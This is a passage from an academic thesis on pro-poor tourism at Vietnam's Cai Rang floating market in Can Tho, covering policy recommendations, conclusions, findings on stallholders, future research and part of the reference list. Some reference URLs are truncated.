review of current developments in Vietnam indicates that tourism as an economic sector has witnessed rapid growth over the last decade. The country has experienced a significant increase in both the number of international arrivals and domestic tourists. The sound performance of the sector has resulted in it contributing significantly more to the countrys GDP and total public revenue. Such increases have been expected to generate significant employment opportunities and enhanced incomes for local households. Tourism also brings in foreign exchange, and unlike other foreign-exchange earners, tourism does not face the many export requirements and restrictions placed on, for example, aquatic and farm products. This research has argued that Cai Rang floating market in Can Tho city has the potential to be a tourism product that could bring more benefits for local communities, especially the stallholders, the local poor. However, though designated as a major growth engine for economic development and poverty alleviation, the tourism sector does not necessarily automatically fulfil this role. The bulk of investment, both governmental and private, remains concentrated in the more economically advanced areas rather than in the poorer countryside. As a consequence, the distribution of tourism benefits to disadvantaged groups such as the rural poor, who are also the ethnic minority, appear to remain minimal. Furthermore, due to a shortage of investment capital, poor infrastructure and lack of social networking, participation in tourism by the local poor households remains modest. Other factors such as lack of skills and knowledge also leads to the current situation where much of the benefits generated from the tourism sector bypass the poor, especially those living in the regions with the higher poverty incidence. The question of how pro-poor tourism strategies can be commercially feasible and include the private sector is most challenging. Since tourism is a commercial industry it is subject to market forces; hence the private sector will be very reluctant to change its behaviour if this affects profits. In the case of Can Tho city, which has major logistical problems, the secret of pro-poor tourism is to develop local quality products and raise the awareness of local people about the tourism industry. For pro- 106 poor tourism to be commercially feasible, there also needs to be a strong demand from tourists themselves. If tour operators were to adopt pro-poor tourism codes of practice and explain to tourists how they function to benefit the poor, tourists will demand them (Scheyvens, 2002; Ashley et al., 2001). According to the WTO (2002a), mainstreaming a focus on poverty across the tourism industry would be a formidable challenge. But given the importance of tourism in many very poor areas, it is surely worth rising to this challenge (WTO, 2002a). A combination of different activities at different levels is required, including intervention at the policy level to influence legislation, raising awareness amongst tour operators and tourists, and community-level initiatives working directly with the poor. 5.2.1 Concept, policies and strategies Based on what has been learnt in the previous sections, in this section some initial policy recommendations are made. These are strategic and practical options that would facilitate policy dialogue and support initiatives linking tourism and poverty reduction. Formal linkages need to be strengthened between national and local departments, and their related action plans. It is critical that greater effort is made to mainstream pro-poor concerns into the tourism sectors strategy and development planning. Similarly, tourism development concerns need to be mainstreamed into the overall economic management policies and activities of Can Tho city. To this end, development activities in the tourism sector should focus on several high-priority activities that would also address poverty outcomes at both national and local levels, especially those activities pertaining to the provision of employment and income. More PPT projects should be formulated and implemented in Can Tho city, particularly those focusing on improvement of livelihood, better access to communication, health and education services, and on activities in areas where large proportions of the population are poor, such as at the Cai Rang floating market. 107 Institutional capacity should be enhanced to integrate the povertytourism relationship into national policy and planning frameworks. Furthermore, support should be provided to VNAT to strengthen its policy-making capacity, to build essential working relations with development agencies, and to apply various tools for assessing and improving development and poverty reduction strategies and action plans, as well as to integrate pro-poor considerations into sector policy, planning and programmes. More urgently, support should be provided to Can Tho city tourism department and other concerned ministries and agencies in the preparation of their five-year sector plans and action frameworks. Furthermore, it is appropriate to consider: a) Creating a more equitable distribution of tourism benefits in favour of the less developed tourism areas in Can Tho. Reallocation of the public investment flows to less advantaged tourist sites and destinations in the countryside (including Cai Rang floating market) could be a first step in this direction. b) Improving physical infrastructure such as roads, wharves and tourist boats, because a lack of sufficient infrastructure is reported as being one of the main barriers preventing tourism from accessing poorer areas. c) Providing local residents and tourism officers in Can Tho with support to enhance tourism human capacity building and training. d) Applying appropriate economic and other incentives (for example, tax exemptions, cheap loans, or right on application of environment user fee or entrance charge) to encourage private-sector participation and entrepreneurship in local tourism in Can Tho city. 108 5.2.2 Tools and approaches for tourism and poverty linkages enhancement It is vital to increase community participation in tourism management policy and planning processes at all levels by expanding public access to tourism information, decision making, and justice and address dimensions of tourism-poverty nexus, by ensuring that poor people in Can Tho are fully integrated into the formulation, implementation, and monitoring of poverty reduction strategies and related policy reforms. Mechanisms for sharing information need to be developed and implemented to improve the effectiveness of strategies on tourismpoverty linkage for Government at all levels: local communities in Can Tho city, the private sector and the general public It is important to develop also a set of national and local tourism-poverty reduction indicators to measure how tourists can affect the livelihood of the poor at Cai Rang floating market in Can Tho city. 109 6. Conclusions This thesis aimed to explore the potential linkage between poverty elimination and tourism using the case of the Cai Rang floating market, Can Tho city, Vietnam. The major research questions it has addressed are: What is pro-poor tourism (PPT)? What are the challenges and limitations of using tourism as a tool for poverty reduction? What is the role of markets in local community development? What is the structure of the tourism industry in Can Tho city and the structure of tourism in Cai Rang floating market? How does/can tourism contribute to poverty reduction among participants in the Cai Rang floating market? This chapter presents the main conclusions of the study and discusses their broader significance. A summary of the findings and discussion about the tourism industry in the city of Can Tho and its responses to the PPT approach in the case of Cai Rang floating market are presented. The remainder of the chapter is then dedicated to exploring the contributions and implications of the study; the limitations of the research are also presented. Finally, a possible research agenda for the study of responses to the PPT initiatives in Can Tho city, Vietnam is suggested. By the end of the 1990s development practitioners had begun to think about the possibility of applying poverty elimination goals to tourism (Mowforth & Munt, 2009). A large number of studies have been conducted to examine how tourism could contribute to alleviating poverty in developing countries and these have become among the most discussed topics in the study of PPT over the last decade (WTO, 2006). The World Tourism Organisation is convinced that the power of tourism, one of the most dynamic economic activities in recent years, can be more effectively harnessed to address the problems of poverty more directly (WTO, 2002a). Likewise, this thesis has shown in its review of the literature that tourism has the potential to play an important role in making a more decisive contribution to the Millennium 110 Development Goals, especially regarding poverty reduction. There is much evidence to suggest that tourism is important and growing in many of the countries that suffer from poverty (WTO, 2002a). International tourist arrivals to developing countries have been increasing at a higher rate compared with those to the developed world. Although the growth in international tourism receipts for developing countries is lower than for developed countries, its contribution to the national economic development is significant for the developing world. Other reasons for tourism to be better placed than many other sectors in meeting the needs of the poor were also discussed in this thesis. Tourism is consumed at the point of production. It also opens up the opportunity for additional purchases to be made. In addition, many of the poorest countries are actually at a comparative advantage over developed countries in this sector: they have assets of enormous value to the tourism industry, such as culture, landscape, wildlife and climate. Furthermore, tourism contributes to a geographical spread of employment opportunities. It can be particularly relevant to rural areas where the above assets are often found. Tourism can sometimes provide a source of income in such locations while few other industries can. Moreover, tourism is a more diverse industry than many others. It has potential to support other economic activity by providing flexible, part-time jobs which can complement other livelihood options. In addition, tourism is labour intensive and it reduces vulnerability through diversification of income sources. The infrastructure required by tourism, such as transport and communications, water supply and sanitation, public security and health services, can also benefit poor communities. Some authors argue that while the PPT approach sounds like a good idea, it is hard to achieve poverty alleviation in practice (Richter, 2001; Mowforth & Munt, 2003; Telfer, 2003). Economic growth from tourism often does not spread equally to benefit the poor (Scheyvens, 2007). In addition, critics are concerned that leakages minimise the economic benefits of tourism. It is estimated that leakages can be as high as 70% (Milne, 1990, cited in Scheyvens, 2007, p.29; Pluss & Backes, 2002). There are further concerns that small local investors or businesses cannot compete against overseas companies and investors who come into a country under pro- globalisation policies (Mowforth & Munt, 2003). However, there are a number of 111 case studies that appear to demonstrate the real advantages and benefits to the poor that arise from tourism (WTO, 2006). As advocates of PPT understandably maintain, while in absolute terms the scale of benefits may appear small, they can be relatively very significant when viewed from the perspective of the beneficiary groups (Mowforth & Munt, 2009). The idea of a tourismpoverty synergy is apparent in the main current tourism- related policy documents of the Vietnamese Government. However, very important policy and institutional disparities still remain. Although some tourism-related paragraphs are included in the policy documents, it appears that the poverty alleviation process is not well known amongst those in the tourism sector (Nguyen et al., 2007). The shortcomings may be because the poverty targets, although mentioned frequently in the policy documents, have remained something of secondary importance rather than being a critical matter requiring urgent and decisive policy actions. Similarly, not many ideas and messages about poverty and hunger alleviation can be seen in the action plans of VNAT. These practices squarely indicate that inadequate attention has been given to poverty reduction targets in the sectors strategic plan. Due to a lack of sufficient capacity and any reasonable alternatives, a major proportion of poor people, especially those in the mountainous areas and remote countryside, have little access to and opportunity to gain from tourism. This makes poverty in these areas difficult to overcome. Other factors such as a lack of skills and knowledge also lead to the current situation where much of the benefits generated from the tourism sector bypass these poor, especially those living in the regions with high rates of poverty (Nguyen et al., 2007). Conversely, empirical evidence from PPT projects in Africa, Lao and Cambodia (and from other cases as well) has indicated that participation in tourism is a good way to escape from poverty (WTO, 2006; Cambodia Development Resource Institute, 2007). Tourism undoubtedly has a role to play in the global fight against poverty but this will vary in its extent and configuration from place to place (WTO, 2006). 112 The thesis focuses on the Cai Rang floating market and is based on interviews with a range of stakeholders associated with or linked to the market. The review of the literature revealed that markets are a site where tourism can have a clear and direct impact on the lives of the poor, and can also indirectly impact suppliers to the market. Markets are also critical reflectors of local culture, identity and sense of place and therefore offer considerable potential for tapping into more interactive (and hopefully higher-spending) tourists who are seeking an authentic local experience. The market case-study was also chosen as it represents an example from which other localities in Vietnam can gain some insights. The researcher faced a number of challenges that have led to limitations in the thesis. It was a challenge to access actual and accurate tourism research figures. The tourism data provided by the local government was based on incomplete information submitted by local hotels and restaurants or, in some cases, was simply estimates. A further limitation of this study was it could not indicate the proportion of income that was gained from tourists. Peoples lack of willingness to discuss income-related questions is not surprising but the lack of co-operation in this respect was unexpected. Nevertheless, the semi-structured stallholder interviews have allowed the researcher to gain important insights into the limited awareness that people have of tourism, and the relatively minor role that tourism currently plays in the economic lives of many at the market. Time and accessibility issues limited the number of interviews with tourism operators, government officials and professionals, but nevertheless there was an opportunity to gain some insights from these stakeholders. 6.1 Key Findings This research finds that although stallholders on the Cai Rang floating market are not considered to be poor by a number of standards, they do have characteristics of the poor such as unstable incomes, limited income-earning options, lack of access to education, lack of shelter, limited safe drinking water and sanitation, vulnerability, powerlessness and a lack of voice (Cattarinich, 2001; Spenceley & Goodwin, 2007). Their businesses are predominantly small and generate a mixture of primary and secondary income streams. They are owner-operated, and many rely on family members for support and extra staffing. 113 The small size of their businesses means stallholders can be flexible about their operating hours and the types of products they sell. Eighteen of the 31 interviewed stallholders come to the Cai Rang floating market to sell products every day, and the rest sell on the floating market for four or five days or until their products are sold out. Most of stallholders sell seasonal fruits and vegetables year round while some sell food and drink. The majority of products sold at the market are produced locally. Many stallholders on the Cai Rang floating market have significant social ties to Can Tho city, with the majority being long-term residents. They continue to represent an authentic taste of the Mekong Delta regions culture, particularly Can Tho city. This can potentially have positive implications for the provision of authentic tourism experiences embedded in the local natural environment, culture and society. However, none of the interviewed stallholders considered themselves as working in a tourism-related business. They were unable to give an accurate picture of what proportion of their customers are tourists, or how much they earn from selling products to tourists. Although stallholders do not aim to attract tourists to their stalls, the majority of them like to trade with tourists. The research shows that despite considerable numbers of tourists coming to visit the unique cultural product that is Cai Rang floating market, tourism does not bring much revenue to the local people or the local government. As a result, local authorities do not have plans to develop the floating market into more of a tourist product. The findings of this study, however, show that other stakeholders believe there is potential to develop the Cai Rang floating market further, especially as a tourism resource. However, the market also faces pressure from the growing number of people using road transport and the development of roadside markets. It may be that an increase in tourist numbers, and subsequent income from these visitors, could offset some loss of local revenue to roadside markets. The research results suggest that Can Tho city needs to find unique tourism products with rare qualities in order to attract more tourists and gain more tourism benefits for local communities. Local communities also need to become more involved in tourism activities. Can Tho city could learn from successful tourism development 114 cases in other countries. However, it should not copy these Can Tho must develop tourism based on its own unique attractions, such as the Cai Rang floating market. The study demonstrates that there appears to be a lack of co-ordination between government departments and other tourism stakeholders, especially with local communities. Poverty reduction is the responsibility of the Labour, War Invalid and Society Department. The Culture, Sport and Tourism Department does not have any strategy to exploit the potential of tourism as a tool for eliminating poverty. The pro- poor tourism approach is relatively new in Vietnam, and was not well understood by the local tourism officer in Can Tho city. In addition, the research reveals that local market participants are not very knowledgeable about the tourism industry or aware of its benefits. The study also confirms that some local government staff do not appear to place great value on local participation in the tourism-development process. To sum up, the findings of this study offer some explanations for the limited links currently existing between tourism and poverty alleviation in the Cai Rang floating market. These explanations include lack of appropriate skills and only basic involvement in tourism by local people, low financial capacity, lack of awareness of tourism benefits and tourist demand by local stallholders, and officials. Furthermore, among other key shortcomings resulting in the under-performance of tourism as a potential poverty alleviator are duplicate tourism products, inappropriate tourism development plans and lack of local participation in tourism development strategies as well as weak linkages between the tourism and non-tourism economic sectors and the absence of appropriate so-called enabling policies. This study suggests that it is possible to adapt tourism to make it more pro-poor in the case of Cai Rang floating market. Certainly it is possible to include poor stallholders in the provision of tourism commodities such as vegetables, meat, eggs, fruit, honey, handicrafts and so on. It is also possible to involve them in cultural shows, floating market tours and in unskilled casual labour; for example, as boatmen. To better achieve poverty alleviation through tourism, it will be necessary to both increase awareness and improve the attitudes of all tourism stakeholders towards PPT practices. The emphasis is on the commitment and ability of the government to 115 harness tourism and use broader public policy to redistribute its benefits. Without policy-level changes, practical pro-poor tourism actions will bring only limited benefits to the market. Similarly, changes in policy alone are likely to be ineffective without practical action on the ground. In Can Tho city, efforts need to be focused on the poor at the destination, in order to raise their capacity to provide the services and products required by the tourism industry. The secret of pro-poor tourism is to develop local quality products. In addition, local communities need to train and upgrade their skills so that they can market themselves to tourists and participate in tourism development strategies. Furthermore, there needs to be co-ordination between tourism stakeholders as well as between the tourism and non-tourism sectors. 6.2 Future Research This thesis provides a baseline set of information that gives preliminary perspectives on the links between tourism and poverty alleviation at the Cai Rang floating market. This was a small study of a particular case study . Logistical constraints mean that it is only a start in terms of potential PPT research at the Cai Rang floating market, in particular, and in Can Tho city, in general. My hope is that I may be able to pursue further research in this area and that others may also begin work in this important area including local government. Some key areas for future research development could be: Research into how to spread awareness and change the attitudes of local authorities and communities towards the benefits of tourism and its role in poverty reduction in order to be able to maximise its benefits for locals. Identification of programmes related to PPT mentoring and trailing of selected methods in the city. From this, a mentor system for PPT could be developed, upskilling the poor so they can take up opportunities to be involved in tourism. 116 Research on the private sector is critically needed. The private sector is fundamentally concerned with customers and profits and, to a large extent, its engagement in PPT is driven by commercial opportunity, not by a sense of helping the poor (Ashley & Jones, 2004). So a question that needs close attention in the future is: How can impoverished destinations create an attractive investment environment to motivate the private sector to participate in PPT development? There is also a crucial need to understand and address the concerns of tourists interested in philanthropy, especially the barriers that limit their opportunity to pursue philanthropic behaviours, for example safety and security. The use of a questionnaire survey with tourists about their attitudes towards PPT and tourism development at Cai Rang floating market, Can Tho city would be an area for future research. The results would provide an additional demand perspective to the supply-side dimensions that have been discussed in this thesis. There is great potential to conduct further research in the area of value chain analysis; in particular, it would be good to explore the use of participatory VCA (Jamieson et al., 2004). This thesis argues that it is potentially possible to adapt tourism to make it more focused on the poor stallholders at Cai Rang floating market, but so far there are few examples to demonstrate this. The extent to which tourism can be made pro-poor at Cai Rang cannot be ascertained from this initial research. However, there are positive indications that participation in tourism is a good way to escape poverty. Certainly it is possible to involve poor stallholders in provision of tourism commodities such as vegetables, meat, eggs, fruit and honey or in participating in cultural shows and village tours. It is definitely worth the effort of focusing on pro-poor tourism in preference to relying simply on trickle down from existing tour companies and their activities. 117 Without policy-level changes, practical pro-poor tourism action at the Cai Rang floating market, and more generally in Can Tho city, will have limited impact. Similarly, changes in policy alone are likely to be ineffective without practical action on the ground. To start with, efforts need to be focused on the poor at the Cai Rang floating market, in order to raise their capacity to provide the services and products required by the tourism industry. In addition, co-operation between national ministries, local government departments, the private sector and local communities is very important in the implementation of the PPT approach at the Cai Rang floating market. 118 References Action Aid (2007). Can Tho to Chau Doc. Retrieved June 30, 2009 from allenge_blog.html?article=15 Ashley, C & Jones, B. (2004). From Philanthropy to a Different Way of Doing Business: Strategies and Challenges in Integrating Pro-Poor Approaches into Tourism Business. Paper presented at ATLAS Africa Conference, October 2004, Pretoria, South Africa. Ashley, C., Goodwin, H. & Roe, D. (2004). Update from the Pro Poor Tourism Partnership. Retrieved October 25, 2010 from Ashley, C., Roe, D. & Goodwin, H. (2001). Pro-Poor Tourism Strategies: Making Tourism Work for the Poor. A Review of Experience. Retrieved June 1, 2009 from Berger, A. A. (2005). Vietnam Tourism. New York, US: The Haworth Hospitality Blake, A., Arbache, J. S., Sinclair, M. T. & Teles, V. (2007). Tourism and Poverty Relief. Annals of Tourism Research, 35(1), 107-126. Boniface, P. (2003). Tasting Tourism: Travelling for Food and Drink. Aldershot: Ashgate Bowden, J. (2005, December). Pro-Poor Tourism and the Chinese Experience. Asia Pacific Journal of Tourism Research, 18(4), 379-394. Bowling, A. (2002). Research Methods in Health: Investigating Health and Health Services (2nd ed.). Buckingham, UK: Open University Press. 119 Bryman, A. (2004). Social Research Methods. Oxford, UK: Oxford University Press. Cambodia Development Resource Institute (2007). Pro-Poor Tourism in The Greater Mekong Sub-Region. Retrieved August 25, 2009 %20&%20presentations/Poll%20Theerapappisit%20paper.pdf Can Tho Administrator of Culture, Sports and Tourism (2010a). Tourism Information in Can Tho City. Retrieved May 3, 2010 from- tourism.com/index.php?option=com_content&view=article&id=193:khongco khoangtrong&catid=40:tin-trong-nganh&Itemid=58 Can Tho Administrator of Culture, Sports and Tourism (2010b). Summary of Tourism Activities for the Period from 2000 to 2009. Retrieved May 1, 2010 from- tourism.com/index.php?option=com_content&view=article&id=179:khongco khoangtrong&catid=42:s-liu-thng-ke-du-lch&Itemid=60 Can Tho City Trade and Investment Co-operation Potential and Opportunity (2009, November 23). Retrieved April 28, 2010 from Can Tho City Department of Labour, War Invalids and Social Affairs (2009). Planning for Supporting Labours and Social Development 2011-2015. Can Tho, Vietnam: People's Committee of Can Tho City. Can Tho City Guidance of Poverty Reduction Programme (2008). Report: Programme for Poverty Reduction in Can Tho City 2006 2010. Can Tho, Vietnam: Can Tho City Department of Labour, War Invalids and Social Affairs. Can Tho Investment Trade Tourism Promotion Centre (2007). Cai Rang Floating Market, Can Tho City. Retrieved May 5, 2010 from 120 &id=967&Itemid=178 Can Tho Investment Trade Tourism Promotion Centre (2008a). Journey on the Alluvial Soil. Retrieved May 5, 2010 from &id=994&Itemid=178 Can Tho Investment Trade Tourism Promotion Centre (2008b). Can Tho Urged to Become Mekong Delta Economic Hub. Retrieved May 21, 2010 from &id=950&Itemid=149 Can Tho Investment Trade Tourism Promotion Centre (2010). Can Tho City: Introduction of Can Tho City. Retrieved April 25, 2010 from ategory&id=56&Itemid=147 Can Tho Portal (2007a). Can Tho City Natural Conditions./Natural+conditions?id=e5686e0659a3e94&page=1 Can Tho Portal (2007b). Can Tho City Socio-economy./Socio-economy?id=e5686c06594a385&page=1 Can Tho Portal (2007c). Master Plan for Social Economic Development - Can Tho City Period 2006-2020. Retrieved April 29, 2010 from 121 898058234/.c/6_0_CH/.ce/7_0_15L/.p/5_0_LT/.d/5?WCM_Context= ontent.cantho.gov.vn/wps/ilwwcm/connect/Portal__Viet/Gi%E1%BB%9Bi+t hi%E1%BB%87u/Quy+ho%E1%BA%A1ch+kinh+t%E1%BA%BF+x%C3 %A3+h%E1%BB%99i/ Can Tho Portal (2007d). Travel to Cai Rang Floating Market. Retrieved May 5, 2010 from 4258549/.c/6_2_CM/.ce/7_2_1C1/.p/5_2_M5/.d/0?WCM_Context= tent.cantho.gov.vn/wps/ilwwcm/connect/Portal__Viet/T%C3%ACm+hi%E1 %BB%83u+Th%C3%A0nh+ph%E1%BB%91+C%E1%BA%A7n+Th%C6% A1/%C4%90%E1%BB%8Ba+danh-Di+t%C3%ADch- Th%E1%BA%AFng+c%E1%BA%A3nh/Du+l%E1%BB%8Bch+%E2%80% 9Cb%E1%BB%A5i%E2%80%9D+ch%E1%BB%A3+n%E1%BB%95i+C% C3%A1i+R%C4%83ng?id=e5f3a441584149a&page=1 Can Tho Portal (2009). Rice Export Reached 184 Million USD in Can Tho City. Retrieved May 4, 2010 from 3626861/.c/6_2_CS/.ce/7_2_19K/.p/5_2_JB/.d/1?WCM_Context= ent.cantho.gov.vn/wps/ilwwcm/connect/Portal__Viet/Tin+tc+- +S+kin/Kinh+t+- +Hp+tc+u+t/TP+Cn+Th+Kim+ngch+xut+khu+go+t+184+tri u+USD?id=e557bc0936c3eae&page=1 Can Tho Portal (n.d.). Tourism Attractions in Can Tho. Retrieved May 5, 2010 from Can Tho Tourist (2009). Cai Rang Floating Market. Retrieved November 12, 2010 from- chonoicairang 122 Cattarinich, X. (2001). Pro-Poor Tourism Initiatives in Developing Countries: Analysis of Secondary Case Studies. Retrieved May 30, 2010 from Central Intelligence Agency (2010). The World Factbook East & Southeast Asia: Vietnam. Retrieved April 25, 2010 from Central Intelligence Agency (n.d.). The World Factbook Population Below Poverty Line. Retrieved April 25, 2010 from Chok, S., Macbeth, J. & Warren, C. (2007). Tourism as a Tool for Poverty Alleviation: A Critical Analysis of Pro-Poor Tourism and Implications for Sustainability. In C. M. Hall (Eds.), Pro-poor Tourism: Who Benefits? Perspectives on Tourism and Poverty Reduction (pp. 34-55). Frankfurt Lodge, UK: Channel View Publications. Cities Alliance (2004). City Development Strategies: From Vision to Growth and Poverty Reduction. Retrieved June 30, 2009 from- ap.org/En/user/resource/docs/229.pdf City of Cape Town (2009). Responsible Tourism Policy for the City of Cape Town. Retrieved May 25, 2010 from m/Cape%20Town%20Responsible%20Tourism%20Policy%20and%20Actio n%20Plan.pdf Commons News (2010). Winter Farmers Market Seeks Vendors for 2010-11 Season. Retrieved August 12, 2010 from Cook, I. & Crang, M. (1995). Doing Ethnographies (Concepts & Techniques in Modern Geography). Norwich, UK: Environmental Publications. 123 Cooper, C., Fletcher, J., Gilbert, D., Shepherd, R. & Wanhill, S. (1998). Tourism Principles and Practices (2nd ed.). London, UK: Pitman. Cooper, M. (2000). Tourism in Vietnam: Doi Moi and the Realities of Tourism in the 1990s. In C. M. Hall & S. Page, Tourism in South and Southeast Asia: Issues and Cases (pp. 167-177). Oxford, Great Britain: Butterworth-Heinemann. Covin, J., & Slevin, D. (1989). Strategic management of small firms in hostile and benign environments [Electronic Version]. Strategic Management Journal, 10, 75-87. Creswell, J. W. (1998). Qualitative Inquiry and Research Design: Choosing Among Five Traditions. Thousand Oaks, CA: Sage Publications. Cu, C. L. (2007). Pro-Poor Tourism: The Case Study of Sapa District. Retrieved 13 Nov 2009 from- poor%20tourism.pdf Decrop, A. (1999). Triangulation in Qualitative Tourism Research, Tourism Management 20, 157-161. Denzin, N. K., & Lincoln, Y. S. (1998). Introduction: Entering the field of qualitative research. In N. K. Denzin & Y. S. Lincoln (Eds.), The landscape of qualitative research: Theories and Issues (pp. 1-34). California, US: Sage Publications. Dowling, R. K. (2003). Community Attitudes: Tourism Development in Natural Environments. In S. Singh, D. J. Timothy & R. K. Dowling (Eds.), Tourism in Destination Communities (pp. 205-228). Cambridge, USA: CABI Publishing. EcoTour (2007). Pro Poor Tourism Definition. Retrieved June 25, 2010 from 124 Embassy of the Socialist Republic of Vietnam in the Republic of Ukraine (2010). Map of the Socialist Republic of Vietnam. Retrieved September 24, 2010 from Embassy of the Socialist Republic of Vietnam in the United States of America (2001). Agreements on Visa Exemption between Vietnam and Some Countries. Retrieved November 3, 2008 from- usa.org/news/story.php?d=20010421190532 European Commission (2008). Analysis of the State of the Art of the Tourism Sector in the Thai Nguyen Province of Vietnam. Retrieved May 10, 2010 from Finn, M., Eliott-White, M., & Walton, M. (2000). Tourism and Leisure Research Methods: Data Collection, Analysis and Interpretation (1 ed.). Harlow: Longman. Flick, U. (2002). An Introduction to Qualitative Research. London, UK: Sage. Footprint (2010). Vietnam Travel and Tourism Industry Contributed 13% to Economy in 2009 Says New-Report. Retrieved May 12, 2010 from- and-Tourism-Industry-Contributed-Economy-2009.htm Forum Vietnamese Environmental Journalists (2009). Conference about the Development of Water Resources in the Mekong Delta. Retrieve October 15, 2010 from uoc_o_dbscl Frechtling, J. & Sharp, L. (Eds.) (1997). User-Friendly Handbook for Mixed Method Evaluation. Arlington, VA, US: National Science Foundation. 125 Fulford, W. (2005). Camden Lock Market. Retrieved August 17, 2010 from 8 Gillham, B. (2000). Case Study Research Methods. London, UK: Continuum Goodson, L. & Phillimore, J. (Eds.) (2004). Qualitative Research in Tourism: Ontologies, Epistemologies and Methodologies. New York, US: Routledge. Goodwin, H. (2000). Pro-Poor Tourism Opportunities for Sustainable Local Development. Retrieved June 1, 2010 from Gunn, C. A. & Goeldner, C. R. (Eds.) (1994). Travel, Tourism and Hospitality Research: A Handbook for Managers and Researchers (2nd ed.). New York: John Wiley & Sons. Guo, L. (2008). Pro-poor Tourism in China: Preliminary Investigation. Retrieved June 3, 2009 from- paper.doc Hakim, C. (1987). Research Design: Strategies and Choices in the Design of Social Research. London, UK: Allen & Unwin. Hakim, C. (2003). Research Design: Successful Designs for Social and Economic Research. London, UK: Routledge. Hall, C. M. (2007). Pro-Poor Tourism: Do Tourism Exchanges Benefit Primarily the Countries of the South?. In C. M. Hall (Eds.), Pro-poor Tourism: Who Benefits? Perspectives on Tourism and Poverty Reduction (pp. 1-8). Frankfurt Lodge, UK: Channel View Publications. 126 Harrison, D. (2001). Less Developed Countries and Tourism: the Overall Pattern. In D. Harrison (Eds.), Tourism and the Less Developed World: Issues and Case Studies (pp. 1-22). New York: CABI Publishing. Henn, M., Weinstein, M., & Foard, N. (2005). A Short Introduction To Social Research (1 ed.). London, UK: Sage Publications. Hoang, V. & Tran, N. T. (2010). Waste of Tourism Resource: Chaos of Markets and Food Streets. Retrieved November 10, 2010 from Honey, M. & Gilpin, R. (2009). Tourism in the Developing World - Promoting Peace and Reducing Poverty. Retrieved June 2, 2010 from ism%20in%20the%20Developing%20World.pdf Ioannides, D. (2003). The Economic of Tourism in Host Communities. In S. Singh, D. J. Timothy & R. K. Dowling (Eds.), Tourism in Destination Communities (pp. 37-54). Wallingford, UK: CAB Publishing. Jamieson, W., Goodwin, H. & Edmunds, C. (2004). Contribution of Tourism to Poverty Alleviation: Pro-Poor Tourism and the Challenge of Measuring Impacts. Retrieved 30 June, 2011 from Jennings, G. (2001). Tourism Research. Milton: John Wiley & Sons. Johnson, R. B. & Onwuegbuzie, A. J. (2004). Mixed Methods Research: A Research Paradigm Whose Time Has Come. Educational Researcher, 33(7), 1426. Kitchin, R. & Tate, N. J. (2000). Conducting Research in Human Geography: Theory, Methology and Practice. London, UK: Prentice Hall. 127 Koumelis, T. (2010). International Tourist Arrivals Up 7% in the First Half of 2010: Asia Leads Growth. Retrieved October 21, 2010 from- tourist-arrivals-up-7%25-in-the-first-half-of-2010:-Asia-leads-growth Lacity, M. C. & Janson, M. A. (1994). Understanding Qualitative Data: A Framework of Text Analysis Methods. Journal of Management Information Systems. 11(2), 137155. Le, T. H. & Koo, S. (2007). The Recent Economic Performance and Poverty Reduction in Vietnam. Retrieved May 15, 2010 from- Economic-Performance-and-Poverty-Reduction-in-Vietnam Lincoln, Y. S. & Guba, E. G. (1985). Naturalistic Inquiry. New York, US: Sage Publications. Loc, K. H. (2009). Cai Rang Floating Market. Retrieved May 6, 2010 from Lonely Planet (2008). Mekong Delta. Retrieved October 22, 2008 from- delta-preview.pdf Luong, P. T. (2005). Vietnam Tourism: Current Status and Development Orientation. Paper presented at the Workshop on Mekong Tourism: Learning Across Border held by Social Research Institute, Chiang Mai University on 24 February 2005, Chiang Mai, Thailand. Luong, Q. T. (2001). Cai Rang Floating Market. Retrieved May 17, 2010 from Mak, J. (2004). Tourism and The Economy: Understanding The Economics of Tourism. Honolulu : University of Hawai'i Press. 128 Malinowski, B. (1922). Argonauts of the Western Pacific. New York: Dutton. Marten, M. (2010). Benefits of Being a Flea Market Vendor. Retrieved August 18, 2010 from Mekong Life (2009). Can Tho. Retrieved April 19, 2010 from Merriam, S. (1988). Case Study Research in Education. San Francisco: Jossey-Bass. Miles, M. B. & Huberman, A. M. (1994). Qualitative Data Analysis: An Expanded Sourcebook (2nd ed.). Thousand Oaks, CA: Sage. Milne, S. (1997). Tourism, Dependency and South Pacific Microstates: Beyond the Vicious Cycle? In D.G. Lockhart & D. Drakakis-Smith (Eds.), Island Tourism, Trends and Prospects (pp. 281-301). London, UK: Pinter. Milne, S. (2007). Cook Islands Tourism Visitor Satisfaction & Impact Monitor. Retrieved September 17, 2009 from- Cook%20IslandsVisitorBarometerYearOneFinal%2030MAR07.pdf Ministry of Industry and Commerce Lao PDR (2007). ICT and E-Tourism Seminar. Retrieved October 7, 2008 from Mitchell, J. & Ashley, C. (2007). Pathways to Prosperity: How Can Tourism Reduce Poverty?. London, UK: Overseas Development Institute and World Bank. Mitchell , J. & Faal, J. (2008). The Gambian Tourist Value Chain and Prospects for Pro-Poor Tourism. Retrieved 30 June, 2011 from Mitchell, J. & Le, C. P. (2007). Final Report on Participatory Tourism Value Chain Analysis in Da Nang, Central Vietnam. Retrieved October 18, 2009 from 129- tourism-value-chain-analysis-da-nang-central-vietnam Mok, C. & Lam, T. (2000). Vietnams Tourism Industry: Its Potential and Challenges. In K. S. Chon, Tourism in Southeast Asia A New Direction (pp. 157-164). New York, US: Haworth Hospitality Press. Mowforth, M. & Munt, I. (2003). Tourism and Sustainability: Development and New Tourism in the Third World. London, UK: Routledge. Mowforth, M. & Munt, I. (2009). Tourism and Sustainability: Development, Globalisation and New Tourism in the Third World (3rd ed.). Oxon, UK: Routledge. Mowforth, M., Charlton, C. & Munt, I. (2008). Tourism and Responsibility: Perspectives from Latin America and the Caribbean. New York : Routledge. Murphy, P. E. (1988). Community Driven Tourism Planning. [Electronic version]. Journal of Tourism Management, June, 96-104. Myagmarsuren, T. (2011). What Is Responsible Tourism. Retrieved 10 February, 2011 from- world/what-is-responsible-tourism.html N.C. Market Ready (2010). Farmers Markets. Retrieved August 18, 2010 from Nepal Tours Destination (2011). Responsible Tourism. Retrieved January 12, 2011 from Neuman, W. (2000). Social Research Method: Qualitative and Quantitative Approaches. MA, US: Allyn & Bacon. 130 New Economics Foundation (2010). Development Target of $1-a-day Poverty Line Seriously Flawed, Says New Report. Retrieved July 15, 2010 from- poverty-line-seriously-flawed-says-new-report New Hanoi (2010). Vietnam Tourism Firms to Recruit 1.4M Workers This Year. Retrieved Oct 28, 2010 from Nguyen, H. N. (2007). Flooding in Mekong River Delta, Vietnam. Retrieved April 20, 2010 from- 2008/papers/Nguyen_Huu%20Ninh.pdf Nguyen, P. T. (nd.). Floating Market in Vietnam. Retrieved May 1, 2010 from 9&bm=53 Nguyen, T. K. D., 